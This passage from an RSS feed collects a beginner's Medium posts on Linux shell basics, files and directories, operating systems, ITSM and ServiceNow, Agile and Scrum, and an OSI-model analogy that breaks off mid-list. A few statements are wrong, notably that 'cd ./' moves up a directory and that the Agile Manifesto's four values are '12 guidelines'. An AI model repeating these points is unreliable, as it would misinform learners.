lets you control where these go.</p><p><strong>Types of Redirection</strong></p><p><strong>Standard Output (stdout)</strong>: Default output stream.</p><ul><li><em>Redirect to a file (overwrite):</em><strong> echo “Hello” &gt; file.txt</strong></li><li><em>Append to a file:</em><strong> echo “Hello again” &gt;&gt; file.txt</strong></li></ul><p><strong>Standard Input (stdin)</strong>: Default input stream.</p><ul><li><em>Use a file as input:</em><strong><em> </em>wc -l &lt; file.txt</strong></li></ul><p><strong>Standard Error (stderr)</strong>: Error messages.</p><ul><li><em>Redirect errors:</em> <strong>ls nonexistentfile 2&gt; errors.log</strong></li></ul><p><strong>Combine Streams: Redirect both stdout and stderr.</strong></p><ul><li><strong>command &gt; output.log 2&gt;&amp;1</strong></li></ul><h4>Piping: Chaining Commands Together</h4><p>Pipes ( | ) allow you to <strong>send the output of one command</strong> into another command as input.</p><p><strong>Why Pipes Are Powerful</strong></p><ul><li>Process <strong>large datasets</strong> step by step.</li><li>Combine multiple tools for efficient workflows.</li><li><em>Find all .txt files and count them:</em> <strong>ls *.txt | wc -l</strong></li><li><em>Display the top 5 largest files: </em><strong>du -ah | sort -rh | head -n 5</strong></li></ul><p><strong>Advanced Piping</strong></p><ul><li><em>Combine with tee to save output:</em><strong> ls | tee files.txt | grep “.log”</strong></li></ul><h4>Pattern Matching</h4><p>Linux offers tools like grep and sed to find and manipulate patterns in files.</p><p><strong>Finding Patterns with grep</strong></p><ul><li><em>Search for “error” in logs:</em> <strong>grep “error” logfile.txt</strong></li><li><em>Match only whole words:</em> <strong>grep -w “error” logfile.txt</strong></li><li><em>Display line numbers:</em> <strong>grep -n “error” logfile.txt</strong></li></ul><p><strong>Manipulating Text with sed</strong></p><ul><li><em>Replace all occurrences of “localhost” with “127.0.0.1”: </em><br><strong>sed ‘s/localhost/127.0.0.1/g’ config.txt</strong></li><li><em>Delete blank lines:</em> <strong>sed ‘/^$/d’ file.txt</strong></li></ul><h4>Searching for Files</h4><p><strong>Finding Files with find</strong></p><ul><li><em>Find .log files:</em><strong> find /var/log -name “*.log”</strong></li><li><em>Find files larger than 10MB:</em> <strong>find / -size +10M</strong></li></ul><p><strong>Quick Searches with locate</strong></p><ul><li>Use the locate command for instant results: <strong>locate file.txt</strong></li></ul><h4>Conclusion</h4><p>In Linux, quotes, wildcards, redirection, piping, and pattern matching are not just tools — they’re superpowers. Once you start using them, you’ll navigate and automate your system without any difficulty.</p><p>Remember, practice is key! Run these commands, experiment with variations, and watch how you can do this.</p><h4>Exercise Time</h4><ol><li>Use wildcards with <strong>ls</strong> to list all <strong>.sh</strong> files in your directory.</li><li>Save the output of <strong>ls -l</strong> and error messages into separate files.</li><li>Search for lines starting with <strong>“Error”</strong> in a log file using grep.</li></ol><p>Feel free to try these and let me know how it goes! If you find anything confusing or have suggestions for improvement, drop your thoughts in the comments. I’m always eager to learn and improve!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dc2d03b30e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux — Files and Directories]]></title>
            <link>https://medium.com/@sushinsec/linux-files-and-directories-abb5f73dc2cd?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/abb5f73dc2cd</guid>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Tue, 05 Nov 2024 01:53:10 GMT</pubDate>
            <atom:updated>2024-11-05T01:53:10.538Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux — Files and Directories</h3><p>Hello,</p><p>This is the second post in the series I started a week ago. I started posting about Linux Administration so that it would be easy for people to get hands-on experience or just get the gist of it.</p><p>First things first,</p><h3>What is Linux administration?</h3><p>Linux administration involves managing and maintaining Linux operating systems and their environments. This typically includes various tasks aimed at ensuring the system operates efficiently, securely, and reliably.</p><p>Below is a concise breakdown of the key responsibilities of a Linux administrator</p><ul><li><strong>System Installation and Configuration</strong>: Setting up Linux on servers or desktops, configuring system settings, and installing necessary software packages.</li><li><strong>User Management</strong>: Creating and managing user accounts and groups, setting permissions, and ensuring users have the right access levels.</li><li><strong>System Monitoring</strong>: Keeping track of system performance, resource usage, and logs to identify and troubleshoot issues.</li><li><strong>Backup and Recovery</strong>: Implementing backup strategies to protect data and ensuring that recovery procedures are in place in case of system failures.</li><li><strong>Security Management</strong>: Setting up firewalls, managing security policies, and ensuring that the system is protected against unauthorized access.</li><li><strong>Software Updates</strong>: Regularly updating the system and installed software to fix bugs and patch security vulnerabilities.</li><li><strong>Networking</strong>: Configuring network settings, managing DNS, and DHCP, and ensuring proper communication between systems.</li><li><strong>Shell Scripting</strong>: Writing scripts to automate repetitive tasks, enhancing efficiency and consistency in system management.</li></ul><p>Now that we know what a Linux Administrator does, it is time to get deeper into some important topics.</p><h3>Understanding Files and Directories</h3><ul><li>In the context of operating systems, especially Unix and Linux, <strong>directories</strong> and <strong>files</strong> are fundamental concepts that form the backbone of file management.</li><li><strong>Directory: </strong>A <strong>directory</strong> is a special type of file that acts as a container for other files and directories. It serves as a way to organize files within the filesystem.</li><li><strong>File: </strong>A <strong>file</strong> is a collection of data or information that is stored on a disk or storage medium. Files can contain various types of content, including text, images, audio, and executable programs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*dva_CsT73sY3F2TK" /><figcaption>source : Zapier</figcaption></figure><p>In the Linux ecosystem, files and directories form the backbone of the system’s organization. The filesystem is hierarchical, beginning with the <strong>root directory</strong> (/), branching out into various subdirectories such as /home, /etc, and /usr.</p><p><strong>Root Directory (</strong><strong>/)</strong>: The top-level directory in the filesystem.</p><ul><li>/home: Contains user home directories.</li><li>/etc: Contains configuration files.</li><li>/var: Contains variable files like logs and databases.</li><li>/usr: Contains user programs and utilities.</li><li>/bin: Contains essential command binaries.</li></ul><p>For visual understanding</p><p>/<br>├── home/<br>│ ├── user1/<br>│ └── user2/<br>├── etc/<br>├── var/<br>└── usr/</p><p>Navigating this structure is essential. The command ls lists the files in your current directory<br>Basic Commands for File and Directory Management</p><p><strong>Listing Files</strong>:</p><ul><li>ls: Lists files in the current directory.</li><li>ls -l: Detailed listing (permissions, owner, size, date).</li><li>ls -a: Shows hidden files (those starting with .).</li></ul><p><strong>Navigating Directories</strong>:</p><ul><li>cd /path/to/directory: Change to a specific directory.</li><li>cd ..: Move up one directory.</li><li>cd ~: Change to the home directory.</li><li>cd ./: Move back one directory.</li></ul><p><strong>Creating and Removing Files/Directories</strong>:</p><ul><li>touch filename: Creates an empty file.</li><li>mkdir dirname: Creates a new directory.</li><li>rmdir dirname: Removes an empty directory.</li><li>rm filename: Deletes a file (use rm -r dirname for directories).</li></ul><p><strong>Finding Files: </strong>When searching for files, the find command becomes invaluable.</p><ul><li><strong>Using </strong><strong>find</strong>: Search for files in a directory hierarchy.</li><li>Example: find /home/user -name &quot;*.txt&quot; searches for all .txt files in /home/user.</li><li><strong>Using </strong>locate: Quickly find files by searching an index.</li><li>Example: locate filename.</li></ul><p>I get it — learning about Linux can seem like a lot at first and this post might not make sense. But the truth is, reading about it doesn’t help until you actually get your hands dirty. If you’re on Windows, it’s a good idea to install Linux using VMWare. This way, you can create a virtual machine and start practicing without messing with your main system. Jumping in and using Linux will help you understand it much better than just reading about it.</p><p>If you really want to learn Linux administration and get upskilled, pull up a YouTube video on how to install Linux as a virtual machine and start exploring. It’s never too late.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abb5f73dc2cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Administration Part 01]]></title>
            <link>https://medium.com/@sushinsec/linux-administration-part-01-18e87e850de9?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/18e87e850de9</guid>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Wed, 30 Oct 2024 02:33:22 GMT</pubDate>
            <atom:updated>2024-10-30T02:33:22.812Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Welcome to my Linux Administration series! As a fellow beginner, I’m embarking on this journey to demystify Linux, and I invite you to learn along with me. If you’ve ever found yourself feeling lost at the command line or curious about the different components of this powerful operating system, count me in.</p><p>I am S, and I have been trying to gain hands-on experience with Linux. The first step I took was to understand what an OS is, its core components, and the differences between all the OSs we hear about every day.</p><p>This is going to be a lengthy post but it’s going to be worth it. Trust me!</p><h4>What is an Operating System?</h4><p>An <strong>Operating System (OS)</strong> is the software layer that manages a computer’s hardware and software resources. It acts as an interface between you (the user) and the computer’s hardware, enabling applications to run, managing files, and ensuring different programs don’t interfere with each other.</p><p>When you open an application — whether it’s your browser, a game, or a word processor — the OS coordinates the hardware resources so the application can run smoothly. The OS is essentially the backbone of the computing experience, and each OS has unique features and designs to serve different purposes.</p><p>So, it’s basically the ultimate traffic controller, managing the hardware and software like a boss. Without an OS, your computer would be a disorganized chaos, and nobody wants to listen to that!</p><h4>Key Components of an Operating System</h4><p>Here’s a look at the main roles that make up the “management team” of an OS:</p><ol><li><strong>Kernel</strong>: Think of the kernel as the chief operating officer. It directly interacts with the hardware, managing resources like CPU, memory, and input/output devices. The kernel ensures no two programs clash over resources, like making sure two meetings don’t book the same conference room.</li><li><strong>File System</strong>: Imagine this as the office’s filing system. It organizes and retrieves files and data, helping users and applications access what they need, just like how an organized filing cabinet ensures everyone finds the right documents.</li><li><strong>User Interface (UI)</strong>: The UI is like the reception desk of the office building. You can interact with the building (or the OS) through a friendly receptionist (GUI) or through a text-based intercom (CLI) where you type specific requests.</li><li><strong>Device Drivers</strong>: These are like translators in the office. They ensure that the OS can communicate with different “languages” of various devices, like printers, keyboards, or network adapters.</li><li><strong>Process and Memory Management</strong>: This function acts like an HR department, allocating workspaces (memory) and ensuring tasks (processes) run smoothly, even if they’re running at the same time.</li></ol><h4>Types of Operating Systems</h4><p>Operating systems come in various types, each tailored to specific needs:</p><ul><li><strong>Single-User, Single Task</strong>: For one user and one task at a time, like early mobile phones.</li><li><strong>Single-User, Multi-Tasking</strong>: Supports one user running multiple programs at once (e.g., Windows, macOS).</li><li><strong>Multi-User</strong>: Allows multiple users to access the system simultaneously, commonly found in servers (e.g., Unix-based systems).</li><li><strong>Real-Time OS (RTOS)</strong>: Used in systems that require immediate processing, like medical equipment and aerospace applications.</li><li><strong>Embedded OS</strong>: Tailored for specific hardware, commonly found in cars, appliances, and mobile devices (e.g., iOS, Android).</li></ul><h4>Popular OS Distributions: A Flavorful Selection</h4><p>In Unix-based systems like Linux, <strong>distributions</strong> (distros) are versions of the OS tailored for different needs. Here are some popular OSes and their common distributions:</p><p><strong>Windows</strong>: Microsoft’s OS, popular for desktop computing and office use.</p><p><strong>macOS</strong>: Apple’s Unix-based OS, known for stability, is designed specifically for Apple hardware.</p><p><strong>Linux Distributions</strong>:</p><ul><li><strong>Ubuntu</strong>: User-friendly and widely used by both beginners and professionals.</li><li><strong>Fedora</strong>: Cutting-edge, often used by developers to test the latest software.</li><li><strong>RHEL (Red Hat Enterprise Linux)</strong>: A commercial distribution, popular in enterprises.</li><li><strong>Debian</strong>: Known for its stability, often used in servers.</li></ul><p><strong>Unix</strong>: A proprietary OS that’s been around since the 1970s, used in specialized systems.</p><p>If you have observed people usually combine Unix and Linux in a discussion. In job requirements, they usually describe ‘Unix/Linux’ as a skill.</p><h4>Unix vs. Linux: What’s the Difference?</h4><p>While both are Unix-like, there are differences:</p><ul><li><strong>Unix</strong>: Proprietary and originally developed for high-end computers and servers, Unix is known for its stability and robustness. It’s commonly used in enterprise servers and academic settings.</li><li><strong>Linux</strong>: Created in the early 1990s as an open-source alternative to Unix. Linux is free, highly customizable, and widely available in different distributions (like Ubuntu and Fedora). It’s popular in personal computing, servers, and embedded systems.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vzyzzw74nNBKUNBWNyhatA.jpeg" /><figcaption>image source : Easy as Linux on FB</figcaption></figure><h4>OS Architecture: The Framework of Functionality</h4><p>Operating systems can have various architectures that dictate how they function internally. Here’s a closer look at some common types:</p><p><strong>Monolithic Kernel: </strong>In this architecture, the entire operating system runs as a single program in kernel space. All services, including device drivers, file system management, and process management, are part of the kernel. This structure is like a big family reunion where everyone sits at the same table — great for speed but can get chaotic!</p><p><strong>Microkernel: </strong>The microkernel approach takes a more minimalist route, running only the essential services in the kernel. Other services, like device drivers and file systems, operate in user space. This structure is akin to a well-organized co-working space where different teams work independently but share common resources — less chaos, and more collaboration!</p><p><strong>Hybrid Kernel: </strong>A hybrid kernel combines elements of both monolithic and microkernel architectures. It keeps some services in the kernel for performance while allowing others to run in user space. It’s like having a flexible workspace where you can choose to work solo or collaborate with your teammates.</p><h4>The Importance of Security in Operating Systems</h4><p>In today’s digital landscape, security is paramount. Operating systems have various mechanisms to protect users and data. Here’s a brief overview:</p><ul><li><strong>User Accounts and Permissions: </strong>Operating systems manage users by creating individual accounts. Each account can have different permissions, ensuring users only access files and resources they need. Think of it as a club where each member has specific access rights — some can enter the VIP lounge, while others can only enjoy the main area!</li><li>Firewalls: Firewalls act as barriers between trusted internal networks and untrusted external networks. They monitor incoming and outgoing traffic and can block unauthorized access. It’s like having a security guard at the club entrance, checking IDs, and deciding who gets in.</li><li><strong>Antivirus and Anti-Malware: </strong>These tools protect the operating system from harmful software, including viruses, worms, and malware. They act like a protective shield, scanning files and monitoring for suspicious activity — defending your digital fortress!</li><li><strong>Encryption: </strong>Encryption secures sensitive data by converting it into unreadable code, only accessible to those with the decryption key. It’s akin to putting your valuables in a safe — only you (and maybe a select few) have the key!</li></ul><h4>Common Misconceptions About Operating Systems</h4><p>As you navigate the world of operating systems, you might encounter some myths. Here are a few debunked:</p><ul><li><strong>Myth 1: All Operating Systems Are the Same</strong><br><strong>Truth</strong>: Each OS has its strengths, weaknesses, and intended use cases. Some are designed for casual users, while others cater to developers or enterprises.</li><li><strong>Myth 2: Linux Is Only for Techies</strong><br><strong>Truth</strong>: While Linux has a reputation for being techy, many distributions like Ubuntu are user-friendly and perfect for beginners. Anyone can join the Linux party!</li><li><strong>Myth 3: Once You Choose an OS, You Can’t Change</strong><br><strong>Truth</strong>: Switching between operating systems is common. Many users try different distros until they find the one that fits their needs.</li></ul><p>Understanding operating systems is essential in today’s tech-driven world. With this knowledge, you can explore, experiment, and maybe even troubleshoot your way through the issues. Don’t hesitate to dive into Linux, experiment with different distributions, and have fun along the way! Make mistakes so that you can learn more!</p><p>Remember, each operating system is a unique tool with its own personality. Embrace the quirks, learn from the challenges, and enjoy the journey. Happy computing!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18e87e850de9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[All about ITSM]]></title>
            <link>https://medium.com/@sushinsec/all-about-itsm-b8e796966a0f?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8e796966a0f</guid>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Wed, 16 Oct 2024 16:01:11 GMT</pubDate>
            <atom:updated>2024-10-16T16:17:40.692Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p><strong>ITSM? Incident management? ServiceNow for ITSM? Change Management? </strong>These are the buzzwords I hear every day in the world of IT so I explored ITSM and if you are someone like me who doesn’t know all of this or doesn’t have hands-on experience, keep reading and I promise it will be interesting despite being one of my longest posts. (TLDR and Bonus tips included)</p><p>When I first started exploring IT Service Management (ITSM), it felt quite overwhelming. There were so many concepts and tools that it was challenging to know where to begin. However, I soon realized that gaining hands-on experience with ITSM principles was essential to truly understand them.</p><p>If you’re just starting your journey in ITSM, you’ve probably come across terms like Incident Management and Change Management, which can sound like jargon without proper context. What helped me was understanding how these processes operate in the real world and how they contribute to the efficiency of IT services.</p><p>In this post, let’s break down its key concepts and processes to provide a clearer picture of how they interconnect.</p><p><strong><em>TL;DR: </em></strong><em>Exploring IT Service Management (ITSM) can be overwhelming, but gaining hands-on experience is key to understanding its concepts like Incident Management, Change Management, and more. ITSM focuses on aligning IT services with business goals and involves processes such as Incident Management (resolving service disruptions), Problem Management (addressing root causes), Change Management (implementing changes smoothly), and Service Request Management (handling user requests). ServiceNow is a powerful platform for managing ITSM processes, offering a free developer account for hands-on practice.</em></p><p><strong><em>Bonus Tip:</em></strong><em> For those looking to enhance their learning, </em><strong><em>ServiceNow </em></strong><em>is a powerful ITSM platform that offers excellent resources and opportunities for hands-on practice. You can explore its modules to see ITSM principles in action and gain practical experience without spending a dime.</em></p><h3>What is ITSM?</h3><p><strong>IT Service Management (ITSM)</strong> refers to the implementation and management of IT services that meet the needs of a business. It’s focused on aligning IT services with business goals and ensuring that they deliver value to users and organizations.</p><ol><li><strong>Service: </strong>In ITSM, a <strong>service</strong> is a means of delivering value to customers by facilitating outcomes they want to achieve, without owning specific costs and risks. For example, providing a cloud storage service or managing a database.</li><li><strong>IT Service Lifecycle: </strong>ITSM revolves around the <strong>service lifecycle</strong>, which covers everything from the design of the service to its ongoing management and eventual retirement. The stages include service strategy, design, transition, operation, and continuous improvement.</li></ol><h3>ITSM PROCESSES</h3><p><em>(Heads-up, only core ITSM processes are mentioned 0in this post)</em></p><p>We use all the processes in <strong>IT Service Management (ITSM)</strong> to ensure that IT services are delivered in a way that aligns with business needs, maintains efficiency, and enhances the user experience. Each process addresses a specific aspect of service management, and together they form a comprehensive system for managing IT services effectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8-cfo478dbhV82FgKmqUw.png" /><figcaption>I made this on Procreate</figcaption></figure><h4>Incident Management</h4><ul><li><strong>Why:</strong> To ensure that any unplanned service disruptions (like system outages or login issues) are resolved quickly, minimizing downtime and impact on the business.</li><li><strong>Example:</strong> If an email server crashes, Incident Management ensures it gets back online quickly so users can resume their work.</li><li><strong>Goal:</strong> Restore normal service operation as quickly as possible after an unplanned disruption.</li><li><strong>Key Activities:</strong> Incident logging, categorization, prioritization, investigation, resolution, and closure.</li></ul><h4><strong>Problem Management</strong></h4><ul><li><strong>Why:</strong> To identify and manage the underlying causes of recurring incidents or issues to prevent them from happening again.</li><li><strong>Example:</strong> If there’s a recurring problem with network outages every Friday afternoon, Problem Management investigates the root cause (faulty hardware, software bugs, and others) and implements solutions.</li><li><strong>Goal:</strong> To minimize the impact of incidents by diagnosing the root cause and preventing recurrences.</li><li><strong>Key Activities:</strong> Problem identification, root cause analysis, documenting known errors, and implementing long-term fixes.</li></ul><h4><strong>Change Management</strong></h4><ul><li><strong>Why:</strong> To ensure that changes to IT systems (such as updates, new software installations, or configuration changes) are implemented smoothly without disrupting existing services.</li><li><strong>Example:</strong> When an organization needs to upgrade its servers, Change Management ensures the upgrade happens during a planned maintenance window to avoid impacting users.</li><li><strong>Goal:</strong> Minimize risk and disruption to IT services when changes are made.</li><li><strong>Key Activities:</strong> Request for Change (RFC) submission, risk assessment, change approval, implementation, and post-change review.</li></ul><h4><strong>Service Request Management</strong></h4><ul><li><strong>Why:</strong> To handle standard requests from users, such as password resets, software installations, or hardware upgrades, in a streamlined and efficient way.</li><li><strong>Example:</strong> If an employee needs access to a specific software tool, they submit a service request, and the IT team fulfills it based on pre-defined workflows.</li><li><strong>Goal:</strong> Ensure that routine requests are handled quickly and efficiently, improving user satisfaction and reducing the workload on IT staff.</li><li><strong>Key Activities:</strong> Request logging, approval workflows, fulfillment, and closure.</li></ul><h4><strong>Knowledge Management</strong></h4><ul><li><strong>Why:</strong> To create and maintain a centralized repository of knowledge, helping both IT teams and end-users quickly find solutions to common issues.</li><li><strong>Example:</strong> A detailed knowledge base article explaining how to troubleshoot a VPN connection issue can reduce the need for users to contact IT support for help.</li><li><strong>Goal:</strong> Improve the efficiency of incident resolution and reduce the number of support tickets by empowering users and IT staff with easily accessible information.</li><li><strong>Key Activities:</strong> Knowledge creation, review, approval, and maintenance.</li></ul><h4><strong>Configuration Management Database (CMDB)</strong></h4><ul><li><strong>Why:</strong> To track and manage IT assets (like hardware and software) and maintain an up-to-date inventory of these resources.</li><li><strong>Example:</strong> If a laptop is due for replacement, Asset Management ensures it’s identified in advance so it can be upgraded before causing issues for the user.</li><li><strong>Goal:</strong> Ensure IT assets are accounted for, properly managed, and maintained throughout their lifecycle.</li><li><strong>Key Activities:</strong> Asset tracking, configuration management database (CMDB) maintenance, and reporting.</li></ul><h4><strong>Service Level Management (SLM)</strong></h4><ul><li><strong>Why:</strong> To define, document, and manage Service Level Agreements (SLAs) between IT and its users or customers, ensuring expectations are set and met.</li><li><strong>Example:</strong> An SLA might guarantee that the IT team will resolve high-priority incidents within 4 hours. If this time frame isn’t met, the SLA has been breached.</li><li><strong>Goal:</strong> Ensure that IT services meet the agreed-upon performance levels and user expectations.</li><li><strong>Key Activities:</strong> SLA creation, performance monitoring, and reporting on compliance.</li></ul><h4><strong>ServiceNow and ITSM</strong></h4><p>ServiceNow is a popular ITSM tool that helps organizations manage all these processes in one platform. It’s designed to automate and streamline tasks, making it easier for IT teams to handle incidents, changes, problems, and more, all while staying compliant with internal policies and external regulations.</p><h4>How to Use ServiceNow for Free</h4><p>If you’re eager to get hands-on experience with IT Service Management (ITSM), you can try ServiceNow for free! (I did with a paid version but the free version also has the basics covered)</p><ol><li><strong>Sign Up for a Free Developer Account</strong>: Head over to the ServiceNow Developer site, create a free account, and request a personal instance. This will give you access to your sandbox environment where you can explore ITSM features.</li><li><strong>Explore the ITSM Modules</strong>: Once you have your instance, start exploring different modules like Incident Management, Change Management, and more. You can simulate real-world scenarios and workflows, helping you get a better grasp of how ITSM operates in practice. (The post will be too long to add the snippets)</li></ol><p>The great thing about ServiceNow, especially for beginners (us), is that you can get hands-on experience with the platform by signing up for a free developer account on ServiceNow’s official site. This gives you access to a personal instance where you can play around with different modules, create your workflows, and see how ITSM processes work in real-time.</p><p>In my next post, I’ll try to share detailed snippets and step-by-step guides on how to use specific ITSM modules within ServiceNow. Regardless, I will be starting my Linux Administration Series for Beginners starting Next week. Can’t wait!!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8e796966a0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Guide to Agile and Scrum — From a Rookie]]></title>
            <link>https://medium.com/@sushinsec/a-guide-to-agile-and-scrum-from-a-rookie-8d1ce5736643?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d1ce5736643</guid>
            <category><![CDATA[agile-methodology]]></category>
            <category><![CDATA[project-management]]></category>
            <category><![CDATA[scrum]]></category>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 06:58:10 GMT</pubDate>
            <atom:updated>2024-10-08T14:17:52.320Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Guide to Agile and Scrum — From a Rookie</h3><p>I recently had the opportunity to finish a course on Agile and Scrum and after I finished the course, I decided to make a beginner’s guide, for people like me trying to understand multiple things at once.</p><p>You may have heard the terms “Agile” and “Scrum” frequently in the field of Software Development, Project management, or maybe a few job applications you were applying to. These are important methodologies used in workplaces to improve work processes, encourage collaboration, and deliver projects efficiently. In this guide, we will break down Agile and Scrum from the basics - what they are, how they differ, and how they work together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*2CXpv6_fA2JoDMJ2sFyohQ.png" /><figcaption>credits : vecteezy.com</figcaption></figure><h3><strong>What is Agile?</strong></h3><p>Agile is a mindset or approach to project management and software development. It focuses on flexibility, collaboration, incremental progress, and customer feedback. Agile helps teams respond quickly to changes, whether it is in the project requirements, customer needs, or technology. Instead of following strict, step-by-step processes, Agile embraces change and encourages continuous improvement.</p><h4><strong>Key Principles of Agile</strong></h4><ol><li>Individuals and Interactions over processes and tools.</li><li>Working Software over comprehensive documentation.</li><li>Customer Collaboration over contract negotiation.</li><li>Responding to Change over following a plan.</li></ol><p>These principles form the core of the Agile Manifesto, a set of 12 guidelines created by software developers in 2001. They promote a flexible, people-first approach to delivering value quickly and iteratively.</p><p>Agile is implemented through iterative cycles of development, often referred to as sprints or iterations. Each cycle involves <strong>planning, development, testing, and feedback</strong>, leading to a potentially deliverable product at the end of each sprint. Teams continuously adapt their approach based on customer feedback and evolving requirements.</p><p>Now that we have understood (at least tried to) what Agile is, it is time to understand what Scrum is.</p><p>While Agile is a philosophy, <strong>Scrum is a framework</strong> that helps teams implement Agile practices. It is one of the most widely used Agile methodologies, particularly in software development, but is also applied in other fields like marketing and product management.</p><p>Scrum defines specific <strong>roles</strong>, <strong>events</strong>, and <strong>artifacts</strong> to organize work and keep the team aligned with their goals.</p><h4><strong>Roles</strong></h4><ol><li><strong>Product Owner (PO):</strong> Represents the customer or stakeholders and is responsible for the Product Backlog. The PO prioritizes tasks and ensures that the team delivers value.</li><li><strong>Scrum Master:</strong> Facilitates the Scrum process, removes obstacles, and ensures that the team follows Scrum principles. The Scrum Master is a servant-leader, not a traditional manager.</li><li><strong>Development Team: </strong>The group of people who do the actual work, whether it is coding, testing, or designing. Teams are usually small, self-organizing, and cross-functional.</li></ol><h4><strong>Events</strong></h4><ol><li><strong>Sprint</strong>: A time-boxed period (typically 1 to 4 weeks) during which the team works on tasks from the <strong>Sprint Backlog</strong>. The aim is to produce a working, shippable product increment by the end of each sprint.</li><li><strong>Sprint Planning</strong>: A meeting where the team decides what work will be completed during the sprint. Tasks are selected from the <strong>Product Backlog</strong> and broken into smaller, manageable parts.</li><li><strong>Daily Scrum (Stand-up)</strong>: A short daily meeting (usually 15 minutes) where the team discusses progress, challenges, and plans for the day.</li><li><strong>Sprint Review</strong>: A meeting held at the end of the sprint where the team demonstrates the work they have completed and gathers feedback from stakeholders.</li><li><strong>Sprint Retrospective</strong>: A session where the team reflects on what went well, what could be improved, and how they can make adjustments for the next sprint.</li></ol><h4><strong>Artifacts</strong></h4><ol><li><strong>Product Backlog</strong>: A prioritized list of all the work that needs to be done for the product. The Product Owner manages this backlog.</li><li><strong>Sprint Backlog</strong>: A subset of the Product Backlog that the team plans to complete during the sprint. These tasks are more detailed and specific.</li><li><strong>Increment</strong>: The working product or software delivered at the end of each sprint. It should be functional and potentially shippable, even if it represents only a small part of the overall project.</li></ol><h3>How Agile and Scrum Work Together</h3><p>While Agile is a broad philosophy or set of guiding principles, Scrum is a specific way of <strong>applying those principles</strong>. Think of Agile as the mindset and Scrum as the structured method that helps bring that mindset to life. Scrum provides teams with a structured way to work, plan, and continuously improve.</p><h4>For example:</h4><ul><li>Agile encourages delivering value quickly. Scrum achieves this by organizing work into sprints that deliver incremental parts of the project.</li><li>Agile values flexibility and embracing change. Scrum incorporates constant feedback loops through the Sprint Review and Daily Stand-ups, where teams can adapt quickly to changes.</li></ul><h4>Few tips from the course I believe would help beginners</h4><ul><li>Understanding the Scrum framework and Agile mindset may take some time, especially if transitioning from traditional project management styles.<br><strong>Tip</strong>: Start with small teams and focus on mastering the basic ceremonies like Sprint Planning and Retrospectives.</li><li>Agile requires a cultural change that values collaboration over strict hierarchies.<br><strong>Tip</strong>: Encourage open communication where team members feel safe to share their ideas and challenges.</li><li>Stakeholders may be accustomed to traditional project management and expect detailed timelines and roadmaps.<br><strong>Tip</strong>: Educate stakeholders about Agile principles and the benefits of flexibility and iterative progress.</li></ul><p>We have come to the end of the guide. I hope this was a good read. I’m happy to be corrected in the comments.</p><p>See you in my next. Until then, keep learning and evolving — that is what Agile is all about!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d1ce5736643" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSI Model — Pizza Delivery Analogy]]></title>
            <link>https://medium.com/@sushinsec/osi-model-pizza-delivery-analogy-3b37c2b48889?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b37c2b48889</guid>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Thu, 22 Aug 2024 14:47:38 GMT</pubDate>
            <atom:updated>2024-08-22T14:47:38.333Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSI Model — Pizza Delivery Analogy</h3><p>Hi,</p><p>What is the OSI Model? Why is it well-known? As daunting as it sounds, it’s simple yet important to understand this.</p><p>This article will explain what the OSI Model is like if you are fifteen and have basic computer knowledge. This post is not meant to be technical but a surface-level understanding of what happens in the OSI model.</p><p>The OSI (Open Systems Interconnection) model is a fundamental concept in networking that helps us understand how data travels from one computer to another over a network. But for many, it can seem abstract and complicated. To make it easier to grasp, let’s break it down with a simple and relatable analogy: <strong>Pizza Delivery.</strong></p><p>The OSI model is essentially a guide that standardizes the way data moves across networks. It divides this process into seven layers, each with its own specific role. Understanding these layers can be easier if you imagine them as the steps involved in delivering a pizza to your door. (I love Pizza!!)</p><p>There are seven layers in the OSI Model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WBn0mJRfnONDn8AO.png" /><figcaption>Credits : NetBeez</figcaption></figure><p><strong>Layer 1: Physical Layer</strong><br>The Physical Layer is like the roads and highways that the delivery driver uses. In networking, it represents the actual cables, Wi-Fi signals, and other physical means that let data move from one place to another. Just like how a pizza needs roads to reach your home, data needs physical pathways to travel between computers.</p><p><strong>Layer 2: Data Link Layer<br></strong>Imagine the Data Link Layer as the traffic lights, stop signs, and lane markers that keep cars (or data packets) from crashing into each other. This layer ensures that data moves smoothly and safely on the same network, preventing collisions and ensuring that everything stays organized.</p><p><strong>Layer 3: Network Layer<br></strong>The Network Layer is like the GPS in the delivery car. It figures out the best route for the pizza to take from the restaurant to your house. Similarly, this layer determines the best path for data to travel across networks, ensuring it reaches the correct destination.</p><p><strong>Layer 4: Transport 